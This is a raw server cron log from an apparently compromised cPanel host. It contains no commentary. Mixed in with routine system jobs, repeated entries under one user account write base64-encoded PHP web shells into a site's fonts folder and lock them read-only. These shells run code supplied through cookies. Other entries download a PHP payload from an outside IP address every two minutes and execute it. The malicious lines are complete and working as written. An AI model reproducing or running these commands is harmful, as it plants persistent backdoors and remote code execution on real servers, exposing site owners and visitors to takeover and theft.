Sep 20 12:42:01 ip-184-168-122-23 CROND[29299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:43:01 ip-184-168-122-23 CROND[29554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:43:01 ip-184-168-122-23 CROND[29555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:43:01 ip-184-168-122-23 CROND[29556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:43:01 ip-184-168-122-23 CROND[29557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:44:01 ip-184-168-122-23 CROND[29823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:44:01 ip-184-168-122-23 CROND[29822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:44:01 ip-184-168-122-23 CROND[29827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:44:01 ip-184-168-122-23 CROND[29828]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:44:01 ip-184-168-122-23 CROND[29830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:45:01 ip-184-168-122-23 CROND[30135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:45:01 ip-184-168-122-23 CROND[30138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:45:01 ip-184-168-122-23 CROND[30139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:45:01 ip-184-168-122-23 CROND[30140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:45:01 ip-184-168-122-23 CROND[30145]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 12:45:01 ip-184-168-122-23 CROND[30144]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 20 12:45:01 ip-184-168-122-23 CROND[30146]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 12:46:01 ip-184-168-122-23 CROND[30552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:46:01 ip-184-168-122-23 CROND[30554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:46:01 ip-184-168-122-23 CROND[30556]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 20 12:46:01 ip-184-168-122-23 CROND[30558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:46:01 ip-184-168-122-23 CROND[30555]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:46:01 ip-184-168-122-23 CROND[30557]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 12:46:01 ip-184-168-122-23 CROND[30559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:47:01 ip-184-168-122-23 CROND[30860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:47:01 ip-184-168-122-23 CROND[30861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:47:01 ip-184-168-122-23 CROND[30862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:47:01 ip-184-168-122-23 CROND[30863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:48:01 ip-184-168-122-23 CROND[31105]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:48:01 ip-184-168-122-23 CROND[31107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:48:01 ip-184-168-122-23 CROND[31108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:48:01 ip-184-168-122-23 CROND[31109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:48:01 ip-184-168-122-23 CROND[31110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:49:01 ip-184-168-122-23 CROND[31362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:49:01 ip-184-168-122-23 CROND[31363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:49:01 ip-184-168-122-23 CROND[31364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:49:01 ip-184-168-122-23 CROND[31366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:50:01 ip-184-168-122-23 CROND[31611]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 12:50:01 ip-184-168-122-23 CROND[31612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:50:01 ip-184-168-122-23 CROND[31613]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:50:01 ip-184-168-122-23 CROND[31615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:50:01 ip-184-168-122-23 CROND[31617]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 12:50:01 ip-184-168-122-23 CROND[31616]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 12:50:01 ip-184-168-122-23 CROND[31620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:50:01 ip-184-168-122-23 CROND[31622]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:50:01 ip-184-168-122-23 CROND[31623]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 12:51:01 ip-184-168-122-23 CROND[31957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:51:01 ip-184-168-122-23 CROND[31958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:51:01 ip-184-168-122-23 CROND[31959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:51:01 ip-184-168-122-23 CROND[31960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:52:01 ip-184-168-122-23 CROND[32195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:52:01 ip-184-168-122-23 CROND[32196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:52:01 ip-184-168-122-23 CROND[32199]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:52:01 ip-184-168-122-23 CROND[32198]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:52:01 ip-184-168-122-23 CROND[32200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:53:01 ip-184-168-122-23 CROND[32462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:53:01 ip-184-168-122-23 CROND[32463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:53:01 ip-184-168-122-23 CROND[32465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:53:01 ip-184-168-122-23 CROND[32464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:54:01 ip-184-168-122-23 CROND[426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:54:01 ip-184-168-122-23 CROND[427]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:54:01 ip-184-168-122-23 CROND[428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:54:01 ip-184-168-122-23 CROND[429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
